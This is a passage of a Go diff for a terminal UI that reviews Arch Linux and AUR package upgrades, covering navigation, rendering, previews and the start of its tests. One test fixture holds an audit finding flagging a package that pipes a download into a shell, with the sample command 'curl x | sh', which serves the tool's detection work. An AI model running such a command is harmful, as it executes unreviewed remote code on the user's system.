+ if !m.solo[a.Name] {
+ holds = append(holds, a.Name)
+ }
+ }
+ for _, v := range m.doc.Vcs {
+ if !m.solo[v.Name] {
+ holds = append(holds, v.Name)
+ }
+ }
+ } else {
+ for name, on := range m.held {
+ if on {
+ holds = append(holds, name)
+ }
+ }
+ }
+
+ ctx, cancel := context.WithCancel(context.Background())
+ m.cancelApply = cancel
+ live, err := m.backend.StartApply(ctx, skips, holds)
+ if err != nil {
+ m.modal = newMessage("COULD NOT START",
+ Err.Render("the backend did not start"),
+ "",
+ Muted.Render(err.Error()),
+ Muted.Render(m.hint))
+ return m, nil
+ }
+ m.stream = live
+ m.build = NewBuildView(nil, 0)
+ m.abortArmed = false
+ return m, waitForEvent(live)
+}
+
+// -- clipboard and pager --------------------------------------------------
+
+func (m Model) copyLine() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil {
+ return m, nil
+ }
+ text := ansi.Strip(node.render(m.columns()))
+ return m, func() tea.Msg {
+ if err := writeClipboard(text); err != nil {
+ return copiedMsg{what: "(failed: " + err.Error() + ")"}
+ }
+ return copiedMsg{what: "line"}
+ }
+}
+
+// writeClipboard shells out, which is what the rest of this tree does. OSC52
+// would also work over SSH but needs raw access to the terminal.
+func writeClipboard(text string) error {
+ for _, candidate := range [][]string{
+ {"wl-copy"}, {"xclip", "-selection", "clipboard"}, {"xsel", "-ib"},
+ } {
+ path, err := exec.LookPath(candidate[0])
+ if err != nil {
+ continue
+ }
+ cmd := exec.Command(path, candidate[1:]...)
+ cmd.Stdin = strings.NewReader(text)
+ if err := cmd.Run(); err == nil {
+ return nil
+ }
+ }
+ return fmt.Errorf("no clipboard helper (wl-copy, xclip or xsel)")
+}
+
+// openDiff writes the diff to a temp file for the configured pager.
+func (m Model) openDiff() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || node.Kind != KindPackage {
+ return m, nil
+ }
+ return m, func() tea.Msg {
+ ctx, cancel := context.WithTimeout(context.Background(), 120*time.Second)
+ defer cancel()
+ d, err := m.backend.LoadDetail(ctx, node.Name)
+ if err != nil {
+ return copiedMsg{what: "(could not load the diff)"}
+ }
+ text := renderDiffText(d)
+ if strings.TrimSpace(text) == "" {
+ return copiedMsg{what: "(no diff to open)"}
+ }
+ path := filepath.Join(os.TempDir(), "updater-"+node.Name+".diff")
+ if err := os.WriteFile(path, []byte(text), 0o600); err != nil {
+ return copiedMsg{what: "(could not write the diff)"}
+ }
+ return pagerMsg{path: path}
+ }
+}
+
+// pagerMsg asks the runtime to suspend the TUI and run a pager on a file.
+type pagerMsg struct{ path string }
+
+func renderDiffText(d *plan.Detail) string {
+ var b strings.Builder
+ if d.BaselineNote != "" {
+ b.WriteString("# " + d.BaselineNote + "\n")
+ }
+ for _, line := range d.Diff.Lines {
+ switch line.Kind {
+ case "gap":
+ continue
+ case "add":
+ b.WriteString("+" + line.Text + "\n")
+ case "del":
+ b.WriteString("-" + line.Text + "\n")
+ default:
+ b.WriteString(" " + line.Text + "\n")
+ }
+ }
+ if b.Len() == 0 {
+ for _, line := range d.Pkgbuild {
+ b.WriteString(" " + line + "\n")
+ }
+ }
+ return b.String()
+}
+
+// -- tree plumbing --------------------------------------------------------
+
+func (m *Model) rebuildTree() {
+ threshold := 8
+ if m.cfg != nil {
+ threshold = m.cfg.ExpandThreshold()
+ }
+ // Rebuilding produces fresh nodes, which would snap everything back to its
+ // default. A reload should show updated facts, not undo the reader's
+ // navigation, so the open/closed state is carried across by identity.
+ was := m.captureExpansion()
+ m.roots = BuildTree(m.doc, m.doc.Audits, threshold, m.willApply)
+ m.restoreExpansion(was)
+ m.applyDecisions()
+}
+
+// nodeKey identifies a row across rebuilds.
+func nodeKey(n *Node) string {
+ if n.Name != "" {
+ return fmt.Sprintf("%d|%s", n.Kind, n.Name)
+ }
+ return fmt.Sprintf("%d|%s", n.Kind, n.Title)
+}
+
+func (m *Model) captureExpansion() map[string]bool {
+ out := map[string]bool{}
+ var walk func([]*Node)
+ walk = func(nodes []*Node) {
+ for _, n := range nodes {
+ if n.HasChildren() {
+ out[nodeKey(n)] = n.Expanded
+ }
+ walk(n.Children)
+ }
+ }
+ walk(m.roots)
+ return out
+}
+
+func (m *Model) restoreExpansion(was map[string]bool) {
+ if len(was) == 0 {
+ return
+ }
+ var walk func([]*Node)
+ walk = func(nodes []*Node) {
+ for _, n := range nodes {
+ if n.HasChildren() {
+ if expanded, ok := was[nodeKey(n)]; ok {
+ n.Expanded = expanded
+ }
+ }
+ walk(n.Children)
+ }
+ }
+ walk(m.roots)
+}
+
+// rebuildView re-flattens without touching the decisions.
+func (m *Model) rebuildView() {
+ m.applyFilter()
+}
+
+// applyFilter recomputes the visible list from the filter and the tree.
+func (m *Model) applyFilter() {
+ m.all = Flatten(m.roots)
+ if strings.TrimSpace(m.filter) == "" {
+ m.visible = m.all
+ } else {
+ needle := strings.ToLower(m.filter)
+ keep := map[*Node]bool{}
+ var walk func(nodes []*Node) bool
+ walk = func(nodes []*Node) bool {
+ any := false
+ for _, n := range nodes {
+ hit := strings.Contains(strings.ToLower(n.Name), needle) ||
+ strings.Contains(strings.ToLower(n.Text), needle) ||
+ strings.Contains(strings.ToLower(n.Title), needle)
+ if len(n.Children) > 0 && walk(n.Children) {
+ hit = true
+ }
+ if hit {
+ keep[n] = true
+ any = true
+ }
+ }
+ return any
+ }
+ walk(m.roots)
+ filtered := make([]*Node, 0, len(m.all))
+ for _, n := range m.all {
+ if n.Kind == KindSpacer {
+ continue
+ }
+ if keep[n] {
+ filtered = append(filtered, n)
+ }
+ }
+ if len(filtered) == 0 {
+ filtered = append(filtered, &Node{Kind: KindCheck, Glyph: "·",
+ GlyphRole: "muted", Text: "no matches", Evidence: m.filter})
+ }
+ m.visible = filtered
+ }
+ m.cursor = clamp(m.cursor, 0, max(0, len(m.visible)-1))
+ if m.cursor < len(m.visible) && !m.visible[m.cursor].Selectable() {
+ m.cursor = m.firstSelectable(m.cursor, +1)
+ }
+ m.offset = clamp(m.offset, 0, max(0, len(m.visible)-1))
+}
+
+func (m *Model) move(delta int) {
+ if len(m.visible) == 0 {
+ return
+ }
+ step := 1
+ if delta < 0 {
+ step, delta = -1, -delta
+ }
+ for i := 0; i < delta; i++ {
+ next := m.cursor + step
+ for next >= 0 && next < len(m.visible) && !m.visible[next].Selectable() {
+ next += step
+ }
+ if next < 0 || next >= len(m.visible) {
+ break
+ }
+ m.cursor = next
+ }
+ view := m.listHeight()
+ if m.cursor < m.offset {
+ m.offset = m.cursor
+ }
+ if m.cursor >= m.offset+view {
+ m.offset = m.cursor - view + 1
+ }
+}
+
+// firstSelectable finds the first row the cursor may rest on.
+func (m *Model) firstSelectable(from, step int) int {
+ for i := from; i >= 0 && i < len(m.visible); i += step {
+ if m.visible[i].Selectable() {
+ return i
+ }
+ }
+ return 0
+}
+
+// enter is the only structural key. What it does depends on the row:
+//
+// section collapse or expand
+// package expand (to show findings), then open the overlay
+// check, advisory open
+//
+// It never dead-ends: a collapsed node opens, an expanded one goes deeper, and
+// a leaf goes straight to the overlay. A section has no overlay, so its rows
+// are reached by collapsing and expanding it.
+func (m Model) enter() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil {
+ return m, nil
+ }
+ if node.Kind == KindSection && node.HasChildren() {
+ return m.toggleExpand()
+ }
+ if node.HasChildren() && !node.Expanded {
+ return m.toggleExpand()
+ }
+ return m.drillDown()
+}
+
+// enterHint describes what enter will do on the selected row, so the footer
+// never offers a key that does nothing there.
+func (m Model) enterHint() (string, bool) {
+ node := m.selected()
+ if node == nil {
+ return "", false
+ }
+ switch {
+ case node.Kind == KindSection && node.HasChildren():
+ if node.Expanded {
+ return "collapse", true
+ }
+ return "expand", true
+ case node.HasChildren() && !node.Expanded:
+ return "expand", true
+ case node.Kind == KindPackage, node.Kind == KindAdvisory,
+ node.Kind == KindCheck, node.Kind == KindStep:
+ return "open", true
+ case len(node.Detail) > 0:
+ return "open", true
+ }
+ return "", false
+}
+
+func (m Model) toggleExpand() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node == nil || !node.HasChildren() {
+ return m, nil
+ }
+ node.Toggle()
+ m.rebuildView()
+ for i, n := range m.visible {
+ if n == node {
+ m.cursor = i
+ break
+ }
+ }
+ return m, nil
+}
+
+func (m Model) collapse() (tea.Model, tea.Cmd) {
+ node := m.selected()
+ if node != nil && node.Expanded {
+ node.Toggle()
+ m.rebuildView()
+ }
+ return m, nil
+}
+
+func (m *Model) setStatus(text string) {
+ m.status = text
+ m.statusAt = time.Now()
+}
+
+// -- layout ---------------------------------------------------------------
+
+func (m Model) listHeight() int { return max(1, m.height-5) }
+func (m Model) columns() Columns {
+ return NewColumns(m.width)
+}
+
+// -- rendering ------------------------------------------------------------
+
+// showStatus is the single owner of whether the status line is on screen.
+func (m Model) showStatus() bool {
+ return m.status != "" && time.Since(m.statusAt) < 6*time.Second
+}
+
+// buildHeight is what is left for the dashboard once the status has its lines.
+func (m Model) buildHeight() int {
+ if m.showStatus() {
+ return max(1, m.height-2)
+ }
+ return m.height
+}
+
+// clipLines is the vertical backstop, matching the one place() gives overlays.
+func clipLines(body string, height int) string {
+ if height <= 0 {
+ return body
+ }
+ lines := strings.Split(body, "\n")
+ if len(lines) <= height {
+ return body
+ }
+ return strings.Join(lines[:height], "\n")
+}
+
+func (m Model) View() string {
+ if m.width < 50 || m.height < 10 {
+ return Muted.Render("terminal too small — need at least 50×10")
+ }
+ if m.doc == nil && m.loading {
+ return m.loadingView()
+ }
+ // modals first, matching Update: one can be open over the dashboard
+ if m.modal != nil {
+ return m.modal.View(m.width, m.height)
+ }
+ if m.build != nil {
+ // The status is given its two lines up front. Appending it to a frame
+ // already budgeted to exactly the height pushed the top of the screen
+ // away -- and it appears during a run, when the reader is trying to
+ // stop one.
+ body := m.build.View(m.width, m.cfg.HideHints(), m.buildHeight())
+ if m.showStatus() {
+ body += "\n\n" + Muted.Render(m.status)
+ }
+ return body
+ }
+ // renderFooter owns the status line; appending it here as well printed it
+ // twice and pushed the filter prompt off the bottom while typing.
+ return clipLines(
+ m.renderHeader()+"\n\n"+m.renderBody()+"\n\n"+m.renderFooter(),
+ m.height)
+}
+
+// loadingView is the first thing you see. It names what is being waited on, so
+// a slow `checkupdates` sync does not look like a frozen program.
+func (m Model) loadingView() string {
+ // Everything is centred on the track: a word hanging off the left of a bar
+ // reads as two unrelated things rather than one.
+ const track = 26
+ bar := sweep(track, m.spin)
+ mid := func(line string) string {
+ pad := (track - ansi.StringWidth(line)) / 2
+ if pad < 0 {
+ pad = 0
+ }
+ return strings.Repeat(" ", pad) + line
+ }
+
+ word := mid(Text.Render("loading"))
+
+ clock := ""
+ if !m.loadingAt.IsZero() {
+ if d := time.Since(m.loadingAt); d >= time.Second {
+ clock = seconds(d.Seconds())
+ }
+ }
+
+ // The composition is chosen to fit rather than left to be clipped.
+ // `place` keeps the centre of an over-tall box, and on a bordered box that
+ // means losing the border, which reads as a rendering fault rather than as
+ // a small terminal. Least important first: the clock, the wordmark, the
+ // breathing room.
+ avail := max(5, m.height-2)
+ room := avail - 4 // the box's own border and padding
+ var body []string
+ switch {
+ case room >= 7:
+ body = []string{mid(Accent.Render("updater")), "", word, "", bar}
+ if clock != "" {
+ body = append(body, "", mid(Muted.Render(clock)))
+ }
+ case room >= 5:
+ body = []string{mid(Accent.Render("updater")), "", word, "", bar}
+ case room >= 3:
+ body = []string{word, "", bar}
+ default:
+ body = []string{word}
+ }
+ return "\n\n" + place(Box.Render(strings.Join(body, "\n")),
+ m.width, avail)
+}
+
+// sweep is an indeterminate track with a highlight travelling along it.
+//
+// It says work is happening without claiming to know how much is left, which
+// is the only thing true before the plan has been read. The screen used to
+// list the phases it expected to run as static dim lines that never changed,
+// so they read as progress while measuring nothing.
+func sweep(width, frame int) string {
+ const head = 4
+ pos := frame % (width + head*2)
+ var b strings.Builder
+ for i := 0; i < width; i++ {
+ d := i - pos + head
+ switch {
+ case d >= 0 && d < head:
+ b.WriteString(Accent.Render("━"))
+ case d == -1 || d == head:
+ b.WriteString(Muted.Render("─"))
+ default:
+ b.WriteString(Rule.Render("─"))
+ }
+ }
+ return b.String()
+}
+
+func (m Model) renderHeader() string {
+ left := Accent.Render("updater")
+ right := Muted.Render(m.statusLine())
+ if m.loading {
+ right = Muted.Render("loading…")
+ }
+ return spread(left, right, m.width)
+}
+
+// statusLine summarises what the plan will do, counting only live decisions.
+func (m Model) statusLine() string {
+ if m.doc == nil {
+ return ""
+ }
+ repo, aur := 0, 0
+ for _, u := range m.doc.Repo {
+ if m.willApply(u.Name) {
+ repo++
+ }
+ }
+ for _, a := range m.doc.Aur {
+ if m.willApply(a.Name) {
+ aur++
+ }
+ }
+ // VCS packages are AUR packages now, and the count has to match what the
+ // backend will actually be asked to build
+ for _, v := range m.doc.Vcs {
+ if m.willApply(v.Name) {
+ aur++
+ }
+ }
+ parts := []string{fmt.Sprintf("%d repo", repo), fmt.Sprintf("%d AUR", aur)}
+ if len(m.solo) > 0 {
+ parts = append(parts, Accent.Render(
+ fmt.Sprintf("solo %d of %d", m.soloCount(), m.totalPackages())))
+ }
+ // Counted from the rows that are actually in the plan, not from the maps.
+ // A record left behind for a package that is no longer offered would
+ // otherwise show up as a skip the user never made.
+ if len(m.solo) == 0 {
+ if n := m.decisionCount(); n > 0 {
+ parts = append(parts, Warn.Render(fmt.Sprintf("%d skipped", n)))
+ }
+ }
+ if n := len(m.cfg.Ignored); n > 0 {
+ parts = append(parts, Muted.Render(fmt.Sprintf("%d ignored", n)))
+ }
+ if m.filter != "" {
+ parts = append(parts, Ver.Render("filter:"+m.filter))
+ }
+ return strings.Join(parts, " · ")
+}
+
+// decisionCount is how many rows in this plan have been decided on.
+func (m Model) decisionCount() int {
+ // the footer renders even when the backend failed and there is no plan
+ if m.doc == nil {
+ return 0
+ }
+ count := 0
+ for _, u := range m.doc.Repo {
+ if m.held[u.Name] {
+ count++
+ }
+ }
+ for _, a := range m.doc.Aur {
+ if m.skipped[a.Name] {
+ count++
+ }
+ }
+ for _, v := range m.doc.Vcs {
+ if m.skipped[v.Name] {
+ count++
+ }
+ }
+ return count
+}
+
+func (m Model) renderBody() string {
+ cols := m.columns()
+ height := m.listHeight()
+
+ if m.err != nil {
+ return Err.Render("backend error") + "\n\n" +
+ Muted.Render(m.err.Error()) + "\n\n" + Muted.Render(m.hint)
+ }
+
+ end := min(len(m.visible), m.offset+height)
+ rows := make([]string, 0, height)
+ for i := m.offset; i < end; i++ {
+ rows = append(rows, m.visible[i].Render(cols, i == m.cursor))
+ }
+ for len(rows) < height {
+ rows = append(rows, "")
+ }
+ return strings.Join(rows, "\n")
+}
+
+// renderFooter shows keys relevant to where you are, plus any transient status.
+func (m Model) renderFooter() string {
+ var hints []keyDesc
+ switch {
+ case m.filtering:
+ hints = []keyDesc{{"/", "type to filter"}, {"enter", "keep"}, {"esc", "clear"}}
+ case m.selected() != nil && m.selected().Kind == KindPackage:
+ what := "open"
+ if n := m.selected(); n.HasChildren() && !n.Expanded {
+ what = "expand"
+ }
+ hints = []keyDesc{{"space", "skip"}, {"i", "ignore"}, {"enter", what},
+ {"a", "apply"}, {"?", "help"}, {"q", "quit"}}
+ case m.selected() != nil && m.selected().Kind == KindAdvisory:
+ hints = []keyDesc{{"enter", "open"}, {"c", "acknowledge"}}
+ if len(m.cfg.AckedList()) > 0 {
+ hints = append(hints, keyDesc{"C", "clear acks"})
+ }
+ if sel := m.selected(); sel != nil && sel.Kind == KindPackage {
+ if len(m.solo) > 0 {
+ hints = append(hints, keyDesc{"s", "drop from solo"})
+ hints = append(hints, keyDesc{"S", "solo off"})
+ } else {
+ hints = append(hints, keyDesc{"s", "solo this"})
+ }
+ }
+ hints = append(hints,
+ keyDesc{"a", "apply"}, keyDesc{"?", "help"}, keyDesc{"q", "quit"})
+ default:
+ hints = []keyDesc{}
+ if what, ok := m.enterHint(); ok {
+ hints = append(hints, keyDesc{"enter", what})
+ }
+ if len(m.cfg.AckedList()) > 0 {
+ hints = append(hints, keyDesc{"C", "clear acks"})
+ }
+ if len(m.solo) > 0 {
+ hints = append(hints, keyDesc{"S", "solo off"})
+ } else if m.decisionCount() > 0 {
+ hints = append(hints, keyDesc{"u", "undo the last skip"})
+ }
+ if sel := m.selected(); sel != nil && sel.Kind == KindPackage && len(m.solo) == 0 {
+ hints = append(hints, keyDesc{"s", "solo this"})
+ }
+ if sel := m.selected(); sel != nil {
+ if sel.Kind == KindCheck && strings.EqualFold(sel.Text, "news") {
+ hints = append(hints, keyDesc{"n", "mark read"})
+ }
+ if len(sel.Run) > 0 {
+ hints = append(hints, keyDesc{"R", "run the fix"})
+ }
+ }
+ hints = append(hints,
+ keyDesc{"a", "apply"}, keyDesc{"?", "help"}, keyDesc{"q", "quit"})
+ }
+ parts := make([]string, 0, len(hints))
+ for _, h := range hints {
+ parts = append(parts, Key.Render(h.key)+" "+Desc.Render(h.desc))
+ }
+ line := strings.Join(parts, Desc.Render(" · "))
+
+ pos := Muted.Render(fmt.Sprintf("[%d/%d]", m.cursor+1, max(1, len(m.visible))))
+ out := spread(line, pos, m.width)
+
+ if m.status != "" && time.Since(m.statusAt) < 6*time.Second {
+ out += "\n" + Muted.Render(m.status)
+ }
+ if m.filtering {
+ out += "\n" + Ver.Render("filter: ") + Text.Render(m.filter) + Accent.Render("█")
+ }
+ return out
+}
+
+// lipglossJoin keeps the import honest without pulling in extra helpers.
+var _ = lipgloss.JoinVertical
+
+func clamp(v, lo, hi int) int {
+ if hi < lo {
+ return lo
+ }
+ if v < lo {
+ return lo
+ }
+ if v > hi {
+ return hi
+ }
+ return v
+}
+
+// ErrNothingToShow is what a preview returns when the overlay it was asked for
+// has no content on this machine.
+//
+// Not a failure. An up-to-date system has no command queue, and "there is
+// nothing here" is a useful answer to "show me the queue" rather than an error
+// to exit on.
+var ErrNothingToShow = errors.New("nothing to show")
+
+// RenderOnce loads, lays out at the given size and returns a single frame.
+//
+// Equivalent to running the TUI and taking one screenshot, without a terminal.
+// `show` optionally opens a modal first, which is the only way to inspect the
+// overlays from outside: a headless capture of a TUI cannot otherwise reach
+// them.
+func (m Model) RenderOnce(width, height int, show, pkg string) (string, error) {
+ next, _ := m.Update(tea.WindowSizeMsg{Width: width, Height: height})
+ ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second)
+ defer cancel()
+ doc, err := m.backend.Load(ctx)
+ next, _ = next.(Model).Update(loadedMsg{plan: doc, err: err})
+ final := next.(Model)
+ if final.err != nil {
+ return "", final.err
+ }
+
+ switch show {
+ case "":
+ case "help":
+ final.modal = newHelp()
+ case "confirm":
+ updated, _ := final.confirmApply()
+ final = updated.(Model)
+ case "detail":
+ if pkg == "" {
+ pkg = firstPackage(final.visible)
+ }
+ if pkg == "" {
+ return "", fmt.Errorf("no package to show")
+ }
+ modal := newDetail(pkg, width)
+ d, derr := final.backend.LoadDetail(ctx, pkg)
+ modal.Update(detailMsg{pkg: pkg, detail: d, err: derr})
+ final.modal = modal
+ case "advisory":
+ modal := newTextLoading(advisoryFor(final.visible), "fetching the advisory")
+ if id := advisoryFor(final.visible); id != "" {
+ d, derr := final.backend.LoadAdvisory(ctx, id)
+ if derr == nil {
+ modal.Update(textBodyMsg{title: id, lines: advisoryLines(d), foot: d.URL})
+ } else {
+ modal.Update(textBodyMsg{title: id, err: derr})
+ }
+ }
+ final.modal = modal
+ case "plan":
+ // the first plan step, opened on its command queue
+ var step *Node
+ for _, n := range final.visible {
+ if n.Kind == KindStep && len(n.Queue) > 0 {
+ step = n
+ break
+ }
+ }
+ if step == nil {
+ return "", fmt.Errorf("%w: nothing to queue — every pending "+
+ "change is a notice rather than a command", ErrNothingToShow)
+ }
+ final.modal = newQueue(step.Command, step.Queue)
+ case "warnings":
+ tabs := final.warningTabs()
+ if len(tabs) == 0 {
+ return "", fmt.Errorf("%w: no warnings on this machine",
+ ErrNothingToShow)
+ }
+ final.modal = newTabs("warnings", tabs)
+ case "security":
+ modal := newTextLoading("arch-audit", "running arch-audit")
+ report, rerr := final.backend.RunSecurity(ctx)
+ if rerr == nil {
+ modal.Update(textBodyMsg{title: "arch-audit", lines: securityLines(report)})
+ } else {
+ modal.Update(textBodyMsg{title: "arch-audit", err: rerr})
+ }
+ final.modal = modal
+ case "loading":
+ final.doc, final.loading = nil, true
+ default:
+ return "", fmt.Errorf("unknown overlay %q", show)
+ }
+ return final.View(), nil
+}
+
+// advisoryFor finds the first advisory in the tree, so a preview can open one.
+func advisoryFor(nodes []*Node) string {
+ for _, n := range nodes {
+ if n.Kind == KindAdvisory {
+ return n.Name
+ }
+ }
+ return ""
+}
+
+func firstPackage(nodes []*Node) string {
+ for _, n := range nodes {
+ if n.Kind == KindPackage {
+ return n.Name
+ }
+ }
+ return ""
+}
diff --git a/tui/internal/ui/model_test.go b/tui/internal/ui/model_test.go
@@ -0,0 +1,2349 @@
+package ui
+
+import (
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+ "time"
+
+ "errors"
+
+ tea "github.com/charmbracelet/bubbletea"
+ "github.com/charmbracelet/lipgloss"
+ "github.com/charmbracelet/x/ansi"
+
+ "updater-tui/internal/config"
+ "updater-tui/internal/plan"
+)
+
+// testConfig isolates the config so a test never touches the real ignore list.
+func testConfig(t *testing.T) *config.Config {
+ t.Helper()
+ dir := t.TempDir()
+ os.Setenv("XDG_CONFIG_HOME", dir)
+ t.Cleanup(func() { os.Unsetenv("XDG_CONFIG_HOME") })
+ return config.Load()
+}
+
+// plain strips styling so assertions are about content, not escape sequences.
+func plain(s string) string { return ansi.Strip(s) }
+
+func sample() *plan.Plan {
+ return &plan.Plan{
+ Repo: []plan.Upgrade{
+ {Name: "linux", Old: "6.16.7-1", New: "6.16.8-1", Repo: "core",
+ Download: 1468006, Delta: -1048576},
+ },
+ Aur: []plan.AurUpdate{
+ {Name: "enca-bin", Old: "1.19-4", New: "1.19-5", Tag: "!!",
+ Note: "will be skipped"},
+ {Name: "demo-bin", Old: "1-1", New: "2-1", Tag: "U"},
+ },
+ Vcs: []plan.Vcs{{Name: "helix-git", Old: "r9021", New: "r9100"}},
+ Checks: []plan.Check{{OK: false, Label: "databases", Detail: "2d old"}},
+ Audits: map[string][]plan.Finding{
+ "enca-bin": {{Rule: "pipe-to-shell", Severity: "BLOCK",
+ Title: "pipes a download into a shell", Evidence: "curl x | sh"}},
+ },
+ }
+}
+
+func loaded(t *testing.T, doc *plan.Plan, w, h int) Model {
+ t.Helper()
+ m := New(plan.Backend{}, testConfig(t))
+ next, _ := m.Update(tea.WindowSizeMsg{Width: w, Height: h})
+ next, _ = next.(Model).Update(loadedMsg{plan: doc})
+ final := next.(Model)
+ if final.err != nil {
+ t.Fatalf("model reported an error: %v", final.err)
+ }
+ return final
+}
+
+func TestTreeContainsEverySection(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ labels := make([]string, 0, len(m.roots))
+ for _, r := range m.roots {
+ labels = append(labels, r.Title)
+ }
+ joined := strings.Join(labels, "\n")
+ for _, want := range []string{"Repository", "AUR", "Checks"} {
+ if !strings.Contains(joined, want) {
+ t.Errorf("section %q missing from:\n%s", want, joined)
+ }
+ }
+}
+
+func TestFindingsNestUnderTheirPackage(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ var aur *Node
+ for _, r := range m.roots {
+ if r.Title == "AUR" {
+ aur = r
+ }
+ }
+ if aur == nil {
+ t.Fatal("no AUR section")
+ }
+ var enca *Node
+ for _, c := range aur.Children {
+ if c.Name == "enca-bin" {
+ enca = c
+ }
+ }
+ if enca == nil {
+ t.Fatal("enca-bin not in the AUR section")
+ }
+ if len(enca.Children) != 1 {
+ t.Fatalf("enca-bin has %d children, want 1 finding", len(enca.Children))
+ }
+ if !strings.Contains(enca.Children[0].Text, "pipes a download") {
+ t.Errorf("finding text = %q", enca.Children[0].Text)
+ }
+ if !strings.Contains(enca.Children[0].Evidence, "curl x | sh") {
+ t.Errorf("evidence missing: %q", enca.Children[0].Evidence)
+ }
+ // and it must actually appear on the rendered line
+ if !strings.Contains(plain(enca.Children[0].Render(NewColumns(100), false)),
+ "pipes a download") {
+ t.Error("the finding did not render")
+ }
+}
+
+func TestTopLevelSectionsAlwaysStartExpanded(t *testing.T) {
+ // the updates a section holds are the whole point of looking, so a section
+ // must never hide them behind a collapse just because it is long
+ doc := sample()
+ for i := 0; i < 30; i++ {
+ doc.Vcs = append(doc.Vcs, plan.Vcs{Name: "pkg-git", Old: "r1", New: "r2"})
+ }
+ m := loaded(t, doc, 120, 40)
+ for _, r := range m.roots {
+ if r.Kind != KindSection {
+ continue // spacers are not sections
+ }
+ if !r.Expanded {
+ t.Errorf("section %q started collapsed", r.Title)
+ }
+ }
+}
+
+func TestTheThresholdStillAppliesBelowTheSections(t *testing.T) {
+ // a package with many findings is a detail; it may start collapsed
+ doc := sample()
+ findings := make([]plan.Finding, 12)
+ for i := range findings {
+ findings[i] = plan.Finding{Rule: "r", Severity: "LOOK", Title: "t"}
+ }
+ doc.Audits = map[string][]plan.Finding{"enca-bin": findings}
+ m := loaded(t, doc, 120, 40)
+ for _, r := range m.roots {
+ for _, c := range r.Children {
+ if c.Name == "enca-bin" && c.Expanded {
+ t.Error("a package with 12 findings should start collapsed")
+ }
+ }
+ }
+}
+
+func TestVcsPackagesAppearInTheAurSection(t *testing.T) {
+ // a separate section implied they could not be acted on
+ doc := sample()
+ doc.Vcs = []plan.Vcs{{Name: "helix-git", Old: "r2200.abc1234-1", New: "r2300.def5678-1"}}
+ m := loaded(t, doc, 120, 40)
+
+ var inAur bool
+ for _, r := range m.roots {
+ if r.Title == "AUR" {
+ for _, c := range r.Children {
+ if c.Name == "helix-git" {
+ inAur = true
+ }
+ }
+ }
+ if strings.Contains(r.Title, "VCS") {
+ t.Error("VCS still has its own section")
+ }
+ }
+ if !inAur {
+ t.Error("helix-git did not join the AUR section")
+ }
+}
+
+func TestEnterExpandsThenOpens(t *testing.T) {
+ // enter must never dead-end: collapsed opens, expanded goes deeper
+ m := loaded(t, sample(), 120, 40)
+ var aur *Node
+ for _, r := range m.roots {
+ if r.Title == "AUR" {
+ aur = r
+ }
+ }
+ m.cursor = indexOf(m.visible, aur)
+
+ collapsed, _ := m.Update(tea.KeyMsg{Type: tea.KeyLeft})
+ m2 := collapsed.(Model)
+ if m2.visible[m2.cursor].Expanded {
+ t.Fatal("left did not collapse the section")
+ }
+ reopened, _ := m2.Update(tea.KeyMsg{Type: tea.KeyEnter})
+ if !reopened.(Model).visible[reopened.(Model).cursor].Expanded {
+ t.Error("enter did not re-expand a collapsed section")
+ }
+ // on a package, an expanded node opens the overlay instead of dead-ending
+ var pkg *Node
+ for _, c := range aur.Children {
+ if c.Name == "demo-bin" {
+ pkg = c
+ }
+ }
+ atPkg := reopened.(Model)
+ atPkg.cursor = indexOf(atPkg.visible, pkg)
+ deeper, _ := atPkg.Update(tea.KeyMsg{Type: tea.KeyEnter})
+ if deeper.(Model).modal == nil {
+ t.Error("enter on an expanded package should open the overlay")
+ }
+}
+
+func TestExpandCollapseChangesVisibility(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ before := len(m.visible)
+
+ var target *Node
+ for _, r := range m.roots {
+ if r.Title == "AUR" {
+ target = r
+ }
+ }
+ m.cursor = indexOf(m.visible, target)
+ if m.cursor < 0 {
+ t.Fatal("AUR section not visible")
+ }
+
+ // `left` collapses; `enter` would now drill in instead
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyLeft})
+ collapsed := next.(Model)
+ if len(collapsed.visible) >= before {
+ t.Errorf("collapsing did not hide rows: %d -> %d", before, len(collapsed.visible))
+ }
+
+ reopened, _ := collapsed.Update(tea.KeyMsg{Type: tea.KeyEnter})
+ if got := len(reopened.(Model).visible); got != before {
+ t.Errorf("re-expanding gave %d rows, want %d", got, before)
+ }
+}
+
+func TestCursorMovesAndClampsAtBothEnds(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+
+ atTop := m
+ for i := 0; i < 5; i++ {
+ next, _ := atTop.Update(tea.KeyMsg{Type: tea.KeyUp})
+ atTop = next.(Model)
+ }
+ if atTop.cursor != 0 {
+ t.Errorf("cursor went above the first row: %d", atTop.cursor)
+ }
+
+ atEnd := m
+ for i := 0; i < len(m.visible)+10; i++ {
+ next, _ := atEnd.Update(tea.KeyMsg{Type: tea.KeyDown})
+ atEnd = next.(Model)
+ }
+ if atEnd.cursor != len(atEnd.visible)-1 {
+ t.Errorf("cursor = %d, want %d", atEnd.cursor, len(atEnd.visible)-1)
+ }
+}
+
+func TestQuitKeysQuit(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ for _, key := range []tea.KeyType{tea.KeyCtrlC} {
+ if _, cmd := m.Update(tea.KeyMsg{Type: key}); cmd == nil {
+ t.Errorf("%v did not produce a command", key)
+ }
+ }
+ if _, cmd := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'q'}}); cmd == nil {
+ t.Error("q did not quit")
+ }
+}
+
+func TestEscClosesRatherThanQuits(t *testing.T) {
+ // esc belongs to popups now; quitting on it would close a modal and the app
+ m := loaded(t, sample(), 120, 40)
+ m.modal = newHelp()
+ next, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEsc})
+ final := next.(Model)
+ if final.modal != nil {
+ t.Error("esc did not close the modal")
+ }
+ if cmd != nil {
+ t.Error("esc produced a quit command")
+ }
+}
+
+// -- decisions ------------------------------------------------------------
+
+func selectKind(m Model, name string) Model {
+ for i, n := range m.visible {
+ if n.Name == name {
+ m.cursor = i
+ return m
+ }
+ }
+ return m
+}
+
+func TestSpaceSkipsAnAurPackage(t *testing.T) {
